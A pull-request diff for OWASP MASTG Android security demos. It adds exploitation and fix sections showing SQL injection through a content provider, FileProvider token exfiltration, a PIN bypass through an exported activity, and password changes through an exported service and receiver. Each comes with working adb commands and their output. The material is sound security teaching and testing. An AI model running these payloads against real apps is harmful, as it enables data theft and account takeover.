Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0102/MASTG-DEMO-0102.md
Original file line number Diff line number Diff line change
Expand Up @@ -57,3 +57,43 @@ Cursor cursor = qb.query(db, projection, selection, selectionArgs, null, null, s
```

These two code paths create separate SQL injection vectors.

### Exploitation

You can use @MASTG-TECH-0148 to interact with the `ContentProvider` and confirm the injection vulnerabilities.

**Selection-based SQL Injection:**

An attacker can inject SQL through the `--where` argument of the `content` command:

```bash
adb shell 'content query --uri content://org.owasp.mastestapp.provider/students --where "name='\''Bob'\'' OR '\''1'\''='\''1'\''"'
```

Output:

```text
Row: 0 id=1, name=Alice
Row: 1 id=2, name=Bob
Row: 2 id=3, name=Charlie
```

**Path-based SQL Injection:**

An attacker can inject SQL through the URI path using the `students/filter/*` route:

```bash
adb shell 'content query --uri "content://org.owasp.mastestapp.provider/students/filter/id%3D2%20OR%201%3D1"'
```

Output:

```text
Row: 0 id=1, name=Alice
Row: 1 id=2, name=Bob
Row: 2 id=3, name=Charlie
```

The `students/#` route is limited to numeric input by `UriMatcher` and isn't practically exploitable, but it's still flagged because it demonstrates unsafe concatenation of user-controlled data into a SQL query.

Both vulnerabilities arise from directly incorporating untrusted input into SQL statements instead of using parameterized queries or proper input validation.
42 changes: 42 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0122/MASTG-DEMO-0122.md
Original file line number Diff line number Diff line change
Expand Up @@ -40,3 +40,45 @@ The rule flags the `files-path` element in `filepaths.xml`:
Additionally, `ShareReportActivity` is declared with `android:exported="true"` in the AndroidManifest, meaning any external app can send it a crafted intent with an arbitrary `file_name` extra and receive back a valid `content://` URI.

> This attack cannot be reproduced with `adb` alone. `adb shell am start` can launch the exported activity, but it never receives the returned result intent or the temporary URI permission grant, so it can't read the file — and reading it via `su -c 'content read …'` only works because root can read any app's storage directly, which bypasses the provider rather than exploiting it. Demonstrating the real vulnerability therefore requires a separate attacker app that calls the activity with `startActivityForResult()` and reads the granted `content://` URI.

### Exploitation

@MASTG-DEMO-0123 demonstrates the full exploit as a self-contained attacker app. Install the attacker APK, tap **Start**, and it sends a crafted intent to `ShareReportActivity` requesting `session_token.txt`. The exfiltrated token appears in a dialog and in logcat:

```bash
adb logcat -s EXFIL
--------- beginning of main
06-05 08:17:34.993 12771 12771 E EXFIL : Exfiltrated from victim: sess_7f3a9b1e4d2c8f0a5e6b3c1d9f4a2e7b
```

## Fix

There are two independent fixes, which can be combined for defense-in-depth.

**Option 1: Restrict the `FileProvider` path scope (recommended)**

In filepaths.xml, replace `path="."` with the specific subdirectory the app intends to share:

```xml
<files-path name="app_files" path="reports/" />
```

After this change, any call to `FileProvider.getUriForFile()` with a path outside `reports/` throws an error. You can confirm by re-running the attacker app from @MASTG-DEMO-0123, the app will not show the session token anymore.

Run `adb logcat | grep -A20 "Failed to find configured root"` to validate it:

```bash
Caused by: java.lang.IllegalArgumentException: Failed to find configured root that contains /data/data/org.owasp.mastestapp/files/session_token.txt
```

**Option 2: Restrict or remove the export of `ShareReportActivity`**

If `ShareReportActivity` doesn't need to be reachable by arbitrary third-party apps, set `android:exported="false"` or remove the activity completely from the Android Manifest:

```xml
<activity
android:name="org.owasp.mastestapp.MastgTest$ShareReportActivity"
android:exported="false" />
```

This prevents any external app from sending a crafted intent.
77 changes: 77 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0128/MASTG-DEMO-0128.md
Original file line number Diff line number Diff line change
Expand Up @@ -52,3 +52,80 @@ The output also lists other exported activities. These are triaged but not repor
`androidx.activity.ComponentActivity` is commonly added by the Compose UI test manifest as a generic host activity for Compose tests. This is expected in debug or test builds, but should be reviewed if it appears in a production build.

`androidx.compose.ui.tooling.PreviewActivity` is a Compose tooling activity used by Android Studio to run composable previews. It is not part of the app's authentication flow and should normally be treated as development tooling unless the tested build is intended for production.

### Confirm the Exposure

You can use @MASTG-TECH-0160 to start `SecretActivity` directly and confirm that the sensitive screen is reachable without entering the PIN:

```bash
adb shell am start -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$SecretActivity'
```

The secret screen appears without any PIN prompt, confirming the authentication bypass.

An external app can start `SecretActivity` directly, but that does not automatically let the external app read the activity's UI contents or obtain the displayed data programmatically. Android does not normally return another activity's screen text to the caller.

The security issue is that the protected screen becomes reachable without completing the PIN challenge. This can still expose sensitive data to anyone using the device, to screen capture or accessibility based threats, or to any flow where the attacker can trick the user into opening the activity. If the activity also returns data through results, sends broadcasts, writes files, accepts attacker controlled extras, or performs account actions on launch, the impact could be higher.

In this sample, the finding is an authentication bypass because `SecretActivity` displays sensitive account data without verifying that the user completed the PIN challenge. The direct launch proves unauthorized access to the protected screen, even though the calling app does not automatically read the displayed data.

## Fix

There are two ways to fix this, and the right choice depends on whether `SecretActivity` needs to be reachable by external apps at all.

**Option 1: Set `android:exported="false"` (recommended for most apps)**

If `SecretActivity` has no legitimate reason to be started by another app, simply prevent external apps from reaching it:

```xml
<activity
android:name="org.owasp.mastestapp.MastgTest$SecretActivity"
android:exported="false" />
```

Trying to start `SecretActivity` again with `adb` after this change will fail with an error, confirming that the activity is no longer reachable from outside the app:

```bash
adb shell am start -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$SecretActivity'
Starting: Intent { cmp=org.owasp.mastestapp/.MastgTest$SecretActivity }

Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: starting Intent { flg=0x10000000 xflg=0x4 cmp=org.owasp.mastestapp/.MastgTest$SecretActivity } from null (pid=29738, uid=2000) not exported from uid 10225
```

This is the right choice for the vast majority of activities that display sensitive data or are part of an internal authentication flow. Android 12 and later require you to explicitly set `android:exported` on any activity with an `<intent-filter>`; setting it to `false` on activities that don't need it is the minimal, correct fix.

**Option 2: Keep `android:exported="true"` but enforce a `android:permission`**

If the activity must be reachable by a trusted partner app (for example, a companion widget or a deep-link handler used by a first-party browser), you can keep it exported but gate access with a custom signature-level permission:

```xml
<!-- Declare the permission in the app's manifest -->
<permission
android:name="org.owasp.mastestapp.ACCESS_SECRET"
android:protectionLevel="signature" />

<!-- Require it on the activity -->
<activity
android:name="org.owasp.mastestapp.MastgTest$SecretActivity"
android:exported="true"
android:permission="org.owasp.mastestapp.ACCESS_SECRET" />
```

With `protectionLevel="signature"`, only apps signed with the same certificate are granted the permission automatically. A real-world example is a banking app that exposes a payment-confirmation activity to its own companion wearable app. Both are signed with the bank's certificate, so only the wearable can start the activity, while any third-party app is rejected by the OS before `onCreate` is even called.

This permission-based fix only resolves the finding if the permission cannot be obtained by untrusted apps. If the activity were protected by a broadly grantable permission, such as a custom permission with `normal` or `dangerous` protection level, the demo would still fail because untrusted apps could still obtain the permission and start the activity. See @MASTG-KNOW-0017 for Android permission protection levels.

Trying to start `SecretActivity` again with `adb` after this change will fail with a different error, confirming that the activity is still exported but now requires a permission that the calling app does not have:

```bash
adb shell am start -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$SecretActivity'
Starting: Intent { cmp=org.owasp.mastestapp/.MastgTest$SecretActivity }

Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: starting Intent { flg=0x10000000 xflg=0x4 cmp=org.owasp.mastestapp/.MastgTest$SecretActivity } from null (pid=29880, uid=2000) requires org.owasp.mastestapp.ACCESS_SECRET
```

**Why not rely solely on the PIN check in the calling activity?:**

Enforcing authentication only in `PinEntryActivity` and trusting that `SecretActivity` is always reached through it is a broken client-side control. Android's activity model makes no such guarantee: any exported activity can be started directly. Authentication state must be checked inside the activity that performs the sensitive operation, or the activity must not be exported.
66 changes: 66 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0129/MASTG-DEMO-0129.md
Original file line number Diff line number Diff line change
Expand Up @@ -46,3 +46,69 @@ override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
```

`VaultActivity` does not protect the underlying exported service. Access control must be enforced at the `AuthService` boundary.

### Confirm the Exposure

Use @MASTG-TECH-0161 with `adb` to start `AuthService` directly and pass a new password as an intent extra:

1. Tap **Start** and note the current password shown in `VaultActivity` (`originalPass123`).
2. Start the exported service with a new password:

```bash
adb shell am startservice -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$AuthService' --es org.owasp.mastestapp.PASSWORD hacked123

Starting service: Intent { cmp=org.owasp.mastestapp/.MastgTest$AuthService (has extras) }
```

3. Return to the app and tap **Refresh**. The vault password now shows `hacked123`, confirming that an external caller changed it through the exported service.

## Fix

There are two ways to fix this, and the right choice depends on whether `AuthService` needs to accept commands from external apps at all.

**Option 1: Set `android:exported="false"` (recommended for most apps)**

If `AuthService` has no legitimate reason to be started by another app, prevent external apps from reaching it:

```xml
<service
android:name="org.owasp.mastestapp.MastgTest$AuthService"
android:exported="false" />
```

Trying to start `AuthService` again with `adb` after this change will fail with an error, confirming that the service is no longer reachable from outside the app:

```bash
adb shell am startservice -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$AuthService' --es org.owasp.mastestapp.PASSWORD hacked123
Starting service: Intent { cmp=org.owasp.mastestapp/.MastgTest$AuthService (has extras) }
Error: Requires permission not exported from uid 10225
```

This is the right choice for the vast majority of services that manage internal state, such as credentials, session tokens, or sync state, that no external app should be able to influence. The OS will reject external `startService` and `bindService` calls before they reach the service entry points.

**Option 2: Keep `android:exported="true"` but enforce a `android:permission`**

If the service must be reachable by a trusted partner app (for example, a separate authenticator app from the same developer), you can keep it exported but gate access with a custom signature-level permission:

```xml
<permission
android:name="org.owasp.mastestapp.USE_AUTH_SERVICE"
android:protectionLevel="signature" />

<service
android:name="org.owasp.mastestapp.MastgTest$AuthService"
android:exported="true"
android:permission="org.owasp.mastestapp.USE_AUTH_SERVICE" />
```

With `protectionLevel="signature"`, only apps signed with the same certificate are granted the permission automatically. A real-world example is an enterprise MDM agent that exposes a configuration service to a companion management app. Both are signed with the enterprise certificate, so only the management app can send commands, while any third-party app is rejected by the OS before `onStartCommand` is called.

This permission-based fix only resolves the finding if the permission cannot be obtained by untrusted apps. If the service were protected by a broadly grantable permission, such as a custom permission with `normal` or `dangerous` protection level, the demo would still fail because untrusted apps could still obtain the permission and start or bind to the service. See @MASTG-KNOW-0017 for Android permission protection levels.

Trying to start `AuthService` again with `adb` after this change will fail with a different error, confirming that the service is still exported but now requires a permission that the calling app does not have:

```bash
adb shell am startservice -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$AuthService' --es org.owasp.mastestapp.PASSWORD hacked123
Starting service: Intent { cmp=org.owasp.mastestapp/.MastgTest$AuthService (has extras) }
Error: Requires permission org.owasp.mastestapp.USE_AUTH_SERVICE
```
85 changes: 85 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0130/MASTG-DEMO-0130.md
Original file line number Diff line number Diff line change
Expand Up @@ -47,3 +47,88 @@ override fun onReceive(context: Context, intent: Intent) {
`VaultActivity` does not protect the underlying exported broadcast receiver. Access control must be enforced at the `PasswordResetReceiver` boundary.

The output also lists `androidx.profileinstaller.ProfileInstallReceiver`. This receiver is added by the AndroidX Profile Installer library and, although exported, is protected by `android:permission="android.permission.DUMP"`, a signature/privileged permission that ordinary apps can't hold. It is development tooling and is not reported as vulnerable in this test case.

### Confirm the Exposure

You can use @MASTG-TECH-0162 with @MASTG-TOOL-0004 to deliver the broadcast and trigger the action.

1. Tap **Start** and note the current password shown in `VaultActivity` (`originalPass123`).
2. Send the broadcast, targeting the receiver explicitly so it's delivered on modern Android:

```bash
adb shell am broadcast -a org.owasp.mastestapp.RESET_PASSWORD -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$PasswordResetReceiver' --es newpass hacked123

Broadcasting: Intent { act=org.owasp.mastestapp.RESET_PASSWORD flg=0x400000 cmp=org.owasp.mastestapp/.MastgTest$PasswordResetReceiver (has extras) }
Broadcast completed: result=0
```

3. Return to the app and tap **Refresh**. The vault password now shows `hacked123`, confirming that an external caller changed it through the exported receiver.

The disclosed old password is also visible in the log:

```bash
adb logcat -s MASTG-DEMO
```

Output:

```bash
06-01 09:26:01.334 30881 30881 D MASTG-DEMO: Password changed from originalPass123 to hacked123
```

## Fix

There are two ways to fix this, and the right choice depends on whether `PasswordResetReceiver` needs to accept broadcasts from external apps at all.

**Option 1: Set `android:exported="false"` (recommended for most apps)**

If `PasswordResetReceiver` has no legitimate reason to receive broadcasts from another app, prevent external apps from reaching it:

```xml
<receiver
android:name="org.owasp.mastestapp.MastgTest$PasswordResetReceiver"
android:exported="false" />
```

Trying to send the broadcast again with `adb` after this change will not necessarily produce an error, but the password will not change and the log will not show the old password, confirming that the receiver is no longer reachable from outside the app.

```bash
adb shell am broadcast -a org.owasp.mastestapp.RESET_PASSWORD -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$PasswordResetReceiver' --es newpass hacked123
Broadcasting: Intent { act=org.owasp.mastestapp.RESET_PASSWORD flg=0x400000 cmp=org.owasp.mastestapp/.MastgTest$PasswordResetReceiver (has extras) }
Broadcast completed: result=0
```

This is the right choice for the vast majority of receivers that react to internal app events, such as credential-reset or state-change broadcasts, that no external app should be able to influence.

**Option 2: Keep `android:exported="true"` but enforce a `android:permission`**

If the receiver must be reachable by a trusted partner app (for example, a companion lock-screen app from the same developer that can trigger a remote wipe or credential reset), you can keep it exported but gate access with a custom signature-level permission:

```xml
<!-- Declare the permission in the app's manifest -->
<permission
android:name="org.owasp.mastestapp.SEND_PASSWORD_RESET"
android:protectionLevel="signature" />

<!-- Require it on the receiver -->
<receiver
android:name="org.owasp.mastestapp.MastgTest$PasswordResetReceiver"
android:exported="true"
android:permission="org.owasp.mastestapp.SEND_PASSWORD_RESET" />
```

With `protectionLevel="signature"`, only apps signed with the same certificate are granted the permission automatically. A real-world example is an enterprise remote-wipe receiver that only responds to broadcasts from the company's own device management app. Both are signed with the enterprise certificate, so only the management app can send broadcasts, while any third-party app is rejected by the OS before `onReceive` is called.

This permission-based fix only resolves the finding if the permission cannot be obtained by untrusted apps. If the receiver were protected by a broadly grantable permission, such as a custom permission with `normal` or `dangerous` protection level, the demo would still fail because untrusted apps could still obtain the permission and send broadcasts to the receiver. See @MASTG-KNOW-0017 for Android permission protection levels.

Trying to send the broadcast again with `adb` after this change will not necessarily produce an error, but it won't have any effect:

```bash
adb shell am broadcast -a org.owasp.mastestapp.RESET_PASSWORD -n 'org.owasp.mastestapp/org.owasp.mastestapp.MastgTest\$PasswordResetReceiver' --es newpass hacked123
Broadcasting: Intent { act=org.owasp.mastestapp.RESET_PASSWORD flg=0x400000 cmp=org.owasp.mastestapp/.MastgTest$PasswordResetReceiver (has extras) }
Broadcast completed: result=0
```

**Additional fix - Remove sensitive data from logs:**

Regardless of whether the receiver itself is protected, no credentials must be written to the app logs, which are readable by any app that holds `READ_LOGS` (granted to shell and ADB).
Loading
Loading